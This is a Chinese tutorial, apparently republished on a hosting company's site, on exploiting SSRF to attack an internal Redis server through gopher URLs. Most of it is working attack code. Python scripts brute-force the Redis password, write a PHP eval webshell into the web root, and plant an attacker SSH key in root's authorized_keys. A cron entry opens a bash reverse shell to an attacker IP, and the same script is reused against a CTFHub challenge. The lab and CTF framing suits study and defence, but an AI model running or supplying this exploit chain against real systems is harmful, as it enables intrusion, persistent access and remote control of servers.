- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- 如何利用SSRF攻擊內網(wǎng)Redis服務(wù)
本篇內容主要講解“如何利用SSRF攻擊內網(wǎng)服務(wù)”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強。下面就讓小編來(lái)帶大家學(xué)習“如何利用SSRF攻擊內網(wǎng)Redis服務(wù)”吧!
REmote DIctionary Server(Redis) 是一個(gè)由Salvatore Sanfilippo寫(xiě)的key-value存儲系統。Redis是一個(gè)開(kāi)源的使用ANSI C語(yǔ)言編寫(xiě)、遵守BSD協(xié)議、支持網(wǎng)絡(luò )、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語(yǔ)言的API。它通常被稱(chēng)為數據結構,因為值(value)可以是 字符串(String), 哈希(Hash), 列表(list), (sets) 和(sorted sets)等類(lèi)型。
簡(jiǎn)單來(lái)說(shuō)Redis就是一個(gè)以Key-Value形式存儲數據的數據庫。
Redis數據庫默認端口:6379
系統版本:Ubuntu 20.04.1 LTS
安裝Redis:
apt-getinstall redis-server
修改Redis配置文件(設置密碼,監聽(tīng)ip等):
vim /etc/redis/redis.conf
配置監聽(tīng)ip:
bind 127.0.0.1 ::1#只監聽(tīng)本地端口,如果需要遠程登錄可以在后面加上本機的ip,同時(shí)遠程登錄也可能造成未授權訪(fǎng)問(wèn)。
配置默認密碼:
#requirepass foobared#默認無(wú)密碼,要設置密碼可以將前面的#刪除,然后將foobared改為要設置的密碼。
啟動(dòng)Redis:
/bin/redis-server /etc/redis/redis.conf
或者
service redis-server start#這種方法啟動(dòng)可能會(huì )造成Redis在web目錄、計劃任務(wù)目錄、.ssh目錄等其他一些目錄沒(méi)有寫(xiě)入的權限,就算是root身份啟動(dòng),文件夾777權限也不行(就很迷)。如果遇到Redis在執行save時(shí)報錯,就還是試試root身份第一種方法啟動(dòng)吧。
參考這篇文章:https://www.cnblogs.com/linuxsec/articles/11221756.html
Redis 服務(wù)器與客戶(hù)端通過(guò) RESP(REdis Serialization Protocol)協(xié)議通信。
RESP實(shí)際上是一個(gè)支持以下數據類(lèi)型的序列化協(xié)議:Simple Strings(簡(jiǎn)單字符串),error(錯誤),Integer(整數),Bulk Strings(多行字符串)和 array(數組)。
客戶(hù)端將命令作為 Bulk Strings 的RESP數組發(fā)送到Redis服務(wù)器。
服務(wù)器根據命令實(shí)現回復一種RESP類(lèi)型。
在RESP中,某些數據的類(lèi)型取決于第一個(gè)字節:
對于Simple Strings,回復的第一個(gè)字節是 +
對于error,回復的第一個(gè)字節是 -
對于Integer,回復的第一個(gè)字節是 :
對于Bulk Strings,回復的第一個(gè)字節是 $
對于array,回復的第一個(gè)字節是 *
此外,RESP能夠使用稍后指定的Bulk Strings或Array的特殊變體來(lái)表示Null值。
在RESP中,協(xié)議的不同部分始終以"\r\n"(CRLF)結束。
我們來(lái)抓取一段客戶(hù)端與Redis服務(wù)器的通信數據包來(lái)具體分析一下。
在linux中可以使用tcpdump來(lái)捕獲數據包:
命令:tcpdump -i lo -s 0 port 6379 -w redis.pcap
參數說(shuō)明:
-i指定網(wǎng)卡(一般指定eth0,這里抓取本地接口的流量需要指定為lo)
-s抓取數據包時(shí)默認抓取長(cháng)度為68字節。加上-s 0 后可以抓到完整的數據包
port指定抓取的端口
-w保存到文件,后接保存的路徑與文件名
然后我們登錄客戶(hù)端,這里我設置了密碼,所以先認證,然后再進(jìn)行set key的操作。
# redis-cli -h 127.0.0.1 -p 6379 127.0.0.1:6379> auth 123456 OK 127.0.0.1:6379> set ATL Ocean OK 127.0.0.1:6379> quit
之后我們將抓到的數據包導出,用wireshark打開(kāi),然后追蹤TCP流
結合我們上面對RESP協(xié)議的解釋?zhuān)覀儊?lái)逐行分析:
最上面4行是客戶(hù)端自動(dòng)請求服務(wù)器信息,服務(wù)器提示我們需要認證,我們就從我們自己發(fā)送的認證信息開(kāi)始分析。
*2 #數組 長(cháng)度為2
$4 #多行字符串 長(cháng)度為4
auth #認證
$6 #多行字符串 長(cháng)度為6
123456 #密碼123456
+OK #服務(wù)器返回 普通字符串 OK,表示成功
*3 #數組 長(cháng)度為3
$3 #多行字符串 長(cháng)度為3
set #設置key
$3 #多行字符串 長(cháng)度為3
ATL #key為ATL
$5 #多行字符串 長(cháng)度為5
Ocean #velue為Ocean
+OK #服務(wù)器返回 普通字符串 OK,表示成功
那么我們設想一下如果我們直接發(fā)送這樣格式的數據包能否直接對Redis進(jìn)行操作呢,我們來(lái)嘗試一下。我們將客戶(hù)端發(fā)送的數據包進(jìn)行一次url編碼。
*2 $4 auth $6 123456 *3 $3 set $4 ATL2 $6 Ocean2 Url編碼后: *2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A (注意將%0A替換為%0D%0A)
然后在本機利用 curl 和 gopher 協(xié)議發(fā)送給 Redis 服務(wù)器。
命令: curl gopher://127.0.0.1:6379/_*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A
我么可以看到,服務(wù)器給我們返回了兩個(gè)+OK說(shuō)明我們的命令執行成功了,我我們再直接看一下我們設置key 的值,再次驗證一下。
可以看到確實(shí)是我們剛剛設置的值,再次證明了這樣的方法是行的通的。那么我們不按照RESP協(xié)議的格式發(fā)送,如果直接發(fā)送命令是否可以呢,我們再試試:
這次我們就不設置key值了,我們直接獲取key的值:
命令: auth 123456 get ATL2 URL編碼后: auth%20123456%0D%0Aget%20ATL2%0D%0A 發(fā)送請求: curl gopher://127.0.0.1:6379/_auth%20123456%0D%0Aget%20ATL2%0D%0A
我們可以看到成功返回了我們剛剛設置的key的值,說(shuō)明直接發(fā)送命令的方法也是可行的。
知道了如何讓Redis服務(wù)器執行我們的命令,那么接下來(lái)我們就來(lái)看如何攻擊來(lái)達到 getshell 的目的。
攻擊Redis一般有3種思路:在web目錄寫(xiě)webshell、在.ssh目錄寫(xiě)公鑰,我們利用私鑰登錄ssh、利用定時(shí)任務(wù)反彈shell。這三種方法都是利用Redis的備份功能實(shí)現的。
在攻擊Redis時(shí)如果配置中設置了監聽(tīng)本機ip,比如192.168.x.x,或公網(wǎng)ip那么我們就可以直接遠程訪(fǎng)問(wèn)6379端口與Redis通信了,但一般都只會(huì )監聽(tīng)本地端口,這時(shí)候我們就要利用到SSRF了。方法同樣也很簡(jiǎn)單,只需要在有SSRF漏洞的頁(yè)面將數據進(jìn)行兩次URL編碼發(fā)送就可以了,具體方法可以看我之前的文章,這里就不多介紹了。
默認Redis是沒(méi)有設置密碼的,這時(shí)候我們可以直接訪(fǎng)問(wèn),但是如果設置了密碼,我們就要先對密碼進(jìn)行暴破,得到了正確的密碼才能夠進(jìn)行進(jìn)一步的攻擊。
我們使用下面這個(gè)python腳本進(jìn)行密碼暴破,在腳本同目錄下放一個(gè)文件名為password.txt的字典然后進(jìn)暴破就可以了。
# -*- coding: UTF-8 -*- from urllib.parse import quote from urllib.request import Request, urlopen url = "http://192.168.48.133/ssrf.php?url=" gopher = "gopher://127.0.0.1:6379/_" def get_password(): f = open("password.txt", "r") return f.readlines() def encoder_url(cmd): urlencoder = quote(cmd).replace("%0A", "%0D%0A") return urlencoder for password in get_password(): # 攻擊腳本 cmd = """ auth %s quit """ % password # 二次編碼 encoder = encoder_url(encoder_url(cmd)) # 生成payload payload = url + gopher + encoder print(payload) # 發(fā)起請求 request = Request(payload) response = urlopen(request).read().decode() print("This time password is:" + password) print("Get response is:") print(response) if response.count("+OK") > 1: print("find password : " + password) exit() print("Password not found!") print("Please change the dictionary,and try again.")
這里我們隨便寫(xiě)幾個(gè)密碼來(lái)示范。
可以看到,成功找到了密碼。
首先我們要知道Redis如何寫(xiě)入文件:
Redis 中可以導出當前數據庫中的 key 和 value
并且可以通過(guò)命令配置導出路徑和文件名:
config set dir /var/www/html//設置導出路徑 config set dbfilename shell.php//設置導出文件名 save //執行導出操作
于是我們將隨便一個(gè)key的值設為一句話(huà)木馬,然后配置導出路徑為web目錄,導出文件名為php文件,這樣執行導出命令就可以在web目錄下寫(xiě)入webshell了。
我們將上一個(gè)腳本中獲取到密碼后在加上一段寫(xiě)入shell的腳本:
# -*- coding: UTF-8 -*- from urllib.parse import quote from urllib.request import Request, urlopen url = "http://192.168.48.133/ssrf.php?url=" gopher = "gopher://127.0.0.1:6379/_" def get_password(): f = open("password.txt", "r") return f.readlines() def encoder_url(cmd): urlencoder = quote(cmd).replace("%0A", "%0D%0A") return urlencoder ###------暴破密碼,無(wú)密碼可刪除-------### for password in get_password(): # 攻擊腳本 path = "/var/www/html/test" shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n" filename = "shell.php" cmd = """ auth %s quit """ % password # 二次編碼 encoder = encoder_url(encoder_url(cmd)) # 生成payload payload = url + gopher + encoder # 發(fā)起請求 print(payload) request = Request(payload) response = urlopen(request).read().decode() print("This time password is:" + password) print("Get response is:") print(response) if response.count("+OK") > 1: print("find password : " + password) #####---------------如無(wú)密碼,直接從此開(kāi)始執行---------------##### cmd = """ auth %s config set dir %s config set dbfilename %s set test1 "%s" save quit """ % (password, path, filename, shell) # 二次編碼 encoder = encoder_url(encoder_url(cmd)) # 生成payload payload = url + gopher + encoder # 發(fā)起請求 request = Request(payload) print(payload) response = urlopen(request).read().decode() print("response is:" + response) if response.count("+OK") > 5: print("Write success!") exit() else: print("Write failed. Please check and try again") exit() #####---------------如無(wú)密碼,到此處結束------------------##### print("Password not found!") print("Please change the dictionary,and try again.")
執行后成功寫(xiě)入,我們到web目錄下看看我們寫(xiě)入的文件。
可以看到格式比較亂,不過(guò)由于我們在與句話(huà)木馬前加了幾個(gè)換行符還是能夠清晰的看到我們的一句話(huà)木馬。那么我們直接用蟻劍或是菜刀連接看看。
可以看到成功連接到我們的webshell。
寫(xiě)入公鑰與寫(xiě)webshell的思路是一樣的,只是改一下寫(xiě)入的路徑、文件名以及寫(xiě)入的內容。
不過(guò)需要注意,這種方法需要確保靶機允許使用密鑰登錄。
開(kāi)啟方法:
需要修改 ssh 配置文件 /etc/ssh/sshd_config
#StrictModes yes 改為 StrictModes no 然后重啟sshd即可 /bin/systemctl restart sshd.service
我們先直接嘗試ssh登錄靶機試試:
可以看到直接登錄是需要輸入密碼的。那么我們開(kāi)始攻擊。
我們先在攻擊機上生成一對公鑰和私鑰。
命令:ssh-keygen -t rsa
一路回車(chē)就可以了,然后我們進(jìn)入家目錄的 /.ssh 目錄下,就可以看到我們生成的公鑰和私鑰了。
公鑰內容:
sh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali
然后我們將上面的腳本進(jìn)行略微的改動(dòng),將寫(xiě)入路徑設為:/root/.ssh ,寫(xiě)入文件名設為:authorized_keys,寫(xiě)入的內容就是我們生成的公鑰。
path= "/root/.ssh" #路徑 shell= "\\n\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali\\n\\n\\n" filename= "authorized_keys" #文件名
只修改以上三行就可以了。然后我們運行腳本
寫(xiě)入成功,這時(shí)候我們再?lài)L試登錄看看。
可以看到我們成功免密登錄了靶機。
關(guān)于定時(shí)任務(wù)反彈shell需要注意:
只能Centos上使用,Ubuntu上行不通,原因如下:因為默認redis寫(xiě)文件后是644的權限,但ubuntu要求執行定時(shí)任務(wù)文件/var/spool/cron/crontabs/<username>權限必須是600也就是-rw-------才會(huì )執行,否則會(huì )報錯(root) INSECURE MODE (mode 0600 expected),而Centos的定時(shí)任務(wù)文件/var/spool/cron/<username>權限644也能執行因為redis保存RDB會(huì )存在亂碼,在Ubuntu上會(huì )報錯,而在Centos上不會(huì )報錯由于系統的不同,crontrab定時(shí)文件位置也會(huì )不同Centos的定時(shí)任務(wù)文件在/var/spool/cron/<username>Ubuntu定時(shí)任務(wù)文件在/var/spool/cron/crontabs/<username>Centos和Ubuntu均存在的(需要root權限)/etc/crontab PS:高版本的redis默認啟動(dòng)是redis權限,故寫(xiě)這個(gè)文件是行不通的
由于我的靶機是Ubuntu系統,經(jīng)過(guò)測試確實(shí)不能反彈shell,所以這里就演示到寫(xiě)入定時(shí)任務(wù),反彈shell就無(wú)法演示了。
這里我們先了解一下linux下通過(guò)輸入輸出流來(lái)反彈shell:
命令: /bin/bash -i >& /dev/tcp/[ip]/[端口] 0>&1
/bin/bash -i 表示的是調用bash命令的交互模式,并將交互模式重定向到 /dev/tcp/[ip]/[端口] 中。這里我們將ip和端口改為我們攻擊機的地址和監聽(tīng)端口。
重定向時(shí)加入一個(gè)描述符 &,表示直接作為數據流輸入。不加 & 時(shí),重定向默認是輸出到文件里的。
/dev/tcp/ip地址/端口號 是linux下的特殊文件,表示對這個(gè)地址端口進(jìn)行tcp連接
這里我們設置成攻擊機監聽(tīng)的地址
最后面的 0>&1 。此時(shí)攻擊機和靶機已經(jīng)建立好了連接,當攻擊機進(jìn)行輸入時(shí),就是這里的 0(標準輸入)
通過(guò)重定向符,重定向到 1(標準輸出)中,由于是作為 /bin/bash 的標準輸入,所以就執行了系統命令了。
我們來(lái)執行一下試試:
我們先在攻擊機上監聽(tīng)1234端口:
然后在靶機上執行 /bin/bash -i >& /dev/tcp/192.168.48.129/1234 0>&1
這時(shí)候再看我們的攻擊機:
可以看到成功反彈到了shell,并且可以正常執行命令。
接下來(lái)我們嘗試寫(xiě)入定時(shí)任務(wù)。
path = "/var/spool/cron/crontabs" #路徑 shell = "\\n\\n\\n* * * * * bash -i >& /dev/tcp/192.168.48.129/1234 0>&1\\n\\n\\n" filename = "root" #文件名
同樣修改以上三行,然后執行。
可以看到提示我們寫(xiě)入成功,我們再到靶機目錄下確認一下。
可以看到確實(shí)寫(xiě)入成功了,使用crontable命令查看root用戶(hù)的定時(shí)任務(wù)也可以看到我們寫(xiě)入的內容。
但是由于系統以及權限的原因沒(méi)辦法執行定時(shí)任務(wù),有興趣的朋友可以嘗試在CentOS中嘗試一下。我這邊環(huán)境配置到頭禿就不再試了。
本地環(huán)境都已經(jīng)嘗試過(guò)了我們就在嘗試一下在線(xiàn)的環(huán)境,還是使用CTFHub中技能樹(shù)的環(huán)境。
打開(kāi)環(huán)境后頁(yè)面空白,但是在URL中看到了 ?url= 按照之前做題的情況來(lái)看一看就存在SSRF,那么我們就直接用我們之前的腳本來(lái)打。
利用我們之前寫(xiě)webshell的腳本,只需要修改第五行的url就好。
運行后發(fā)現,服務(wù)器告訴我們沒(méi)有設置密碼,那就更簡(jiǎn)單了,修改一下腳本:
# -*- coding: UTF-8 -*- from urllib.parse import quote from urllib.request import Request, urlopen url = "http://challenge-b15f0eaddbb74bdf.sandbox.ctfhub.com:10080/?url=" gopher = "gopher://127.0.0.1:6379/_" def encoder_url(cmd): urlencoder = quote(cmd).replace("%0A", "%0D%0A") return urlencoder path = "/var/www/html" shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n" filename = "shell.php" cmd = """ config set dir %s config set dbfilename %s set test1 "%s" save quit """ % (path, filename, shell) # 二次編碼 encoder = encoder_url(encoder_url(cmd)) # 生成payload payload = url + gopher + encoder # 發(fā)起請求 request = Request(payload) print(payload) response = urlopen(request).read().decode() print("response is:" + response) if response.count("+OK") > 4: print("Write success!") exit() else: print("Write failed. Please check and try again") exit()
再次運行
成功寫(xiě)入,然后我們就直接用蟻劍連接一下。
成功拿到flag。
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站